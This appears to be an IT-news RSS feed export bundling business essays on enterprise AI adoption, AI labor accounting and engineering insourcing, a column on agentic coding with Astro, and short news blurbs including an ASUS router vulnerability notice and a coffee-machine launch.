<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Critical ASUS Router Flaw Lets Remote MITM Attackers Execute Arbitrary Commands]]></title>
<description><![CDATA[ASUS has patched a critical router vulnerability, tracked as CVE-2026-13385, that allows remote man‑in‑the‑middle (MITM) attackers to force affected devices to download and execute arbitrary commands via a spoofed server. This flaw directly impacts the integrity of firmware‑level operations on pe...]]></description>
<link>https://tsecurity.de/de/3686016/it-security-nachrichten/critical-asus-router-flaw-lets-remote-mitm-attackers-execute-arbitrary-commands/</link>
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<pubDate>Wed, 22 Jul 2026 13:00:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ASUS has patched a critical router vulnerability, tracked as CVE-2026-13385, that allows remote man‑in‑the‑middle (MITM) attackers to force affected devices to download and execute arbitrary commands via a spoofed server. This flaw directly impacts the integrity of firmware‑level operations on perimeter networking devices widely deployed in home and small‑office environments. The vulnerability resides in the […]</p>
<p>The post <a href="https://cyberpress.org/critical-asus-router-flaw-2/">Critical ASUS Router Flaw Lets Remote MITM Attackers Execute Arbitrary Commands</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Jura's new espresso machine packs cold brewing, delicious syrup-infused milk foam, and timed morning brewing into a surprisingly slim package — and it might be the ultimate upgrade for your small kitchen]]></title>
<description><![CDATA[Jura has just launched a new coffee maker that offers hot and cold extraction, syrup-infusion, milder brewing, and a timer — all in one compact package.]]></description>
<link>https://tsecurity.de/de/3686008/it-nachrichten/juras-new-espresso-machine-packs-cold-brewing-delicious-syrup-infused-milk-foam-and-timed-morning-brewing-into-a-surprisingly-slim-package-and-it-might-be-the-ultimate-upgrade-for-your-small-kitchen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686008/it-nachrichten/juras-new-espresso-machine-packs-cold-brewing-delicious-syrup-infused-milk-foam-and-timed-morning-brewing-into-a-surprisingly-slim-package-and-it-might-be-the-ultimate-upgrade-for-your-small-kitchen/</guid>
<pubDate>Wed, 22 Jul 2026 12:48:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jura has just launched a new coffee maker that offers hot and cold extraction, syrup-infusion, milder brewing, and a timer — all in one compact package.]]></content:encoded>
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<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[OpenAI wants to help your small business grow - if you use ChatGPT more]]></title>
<description><![CDATA[The launch of ChatGPT Work has now been followed with dedicated training and resources for small businesses.]]></description>
<link>https://tsecurity.de/de/3685783/it-nachrichten/openai-wants-to-help-your-small-business-grow-if-you-use-chatgpt-more/</link>
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<pubDate>Wed, 22 Jul 2026 11:20:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The launch of ChatGPT Work has now been followed with dedicated training and resources for small businesses.]]></content:encoded>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Agentic coding is everywhere]]></title>
<description><![CDATA[I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown...]]></description>
<link>https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</link>
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<pubDate>Wed, 22 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I use a very cool and relatively new web framework called <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html" data-type="link" data-id="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a>. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to <a href="https://nickhodges.com/">my personal website</a>, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a>, <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html" data-type="link" data-id="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, or almost any other framework. It’s really cool.</p>



<p class="wp-block-paragraph">And these days, I really don’t write any code. <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> does most (all?) of the work. Since Astro is <a href="https://github.com/withastro/astro">an open-source project</a> and has <a href="https://docs.astro.build/">excellent documentation</a>, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  </p>



<p class="wp-block-paragraph">And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?</p>



<p class="wp-block-paragraph">My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has <a href="https://github.com/withastro/astro/blob/main/AGENTS.md">an AGENTS.md</a> file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. Further down, there is a <code>.agents/skills</code> directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.</p>



<p class="wp-block-paragraph">Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP server</a> that gives developers coding agents deeper, easier access to the Astro documentation.  </p>



<p class="wp-block-paragraph">And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. </p>



<p class="wp-block-paragraph">Okay, that was a fun spelunking trip. But so what?</p>



<p class="wp-block-paragraph">The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and <a href="https://www.anthropic.com/institute/recursive-self-improvement">using their own tools to build the next frontier model</a>. Before we know it, it will be <a href="https://en.wikipedia.org/wiki/Turtles_all_the_way_down">turtles all the way down</a>. </p>



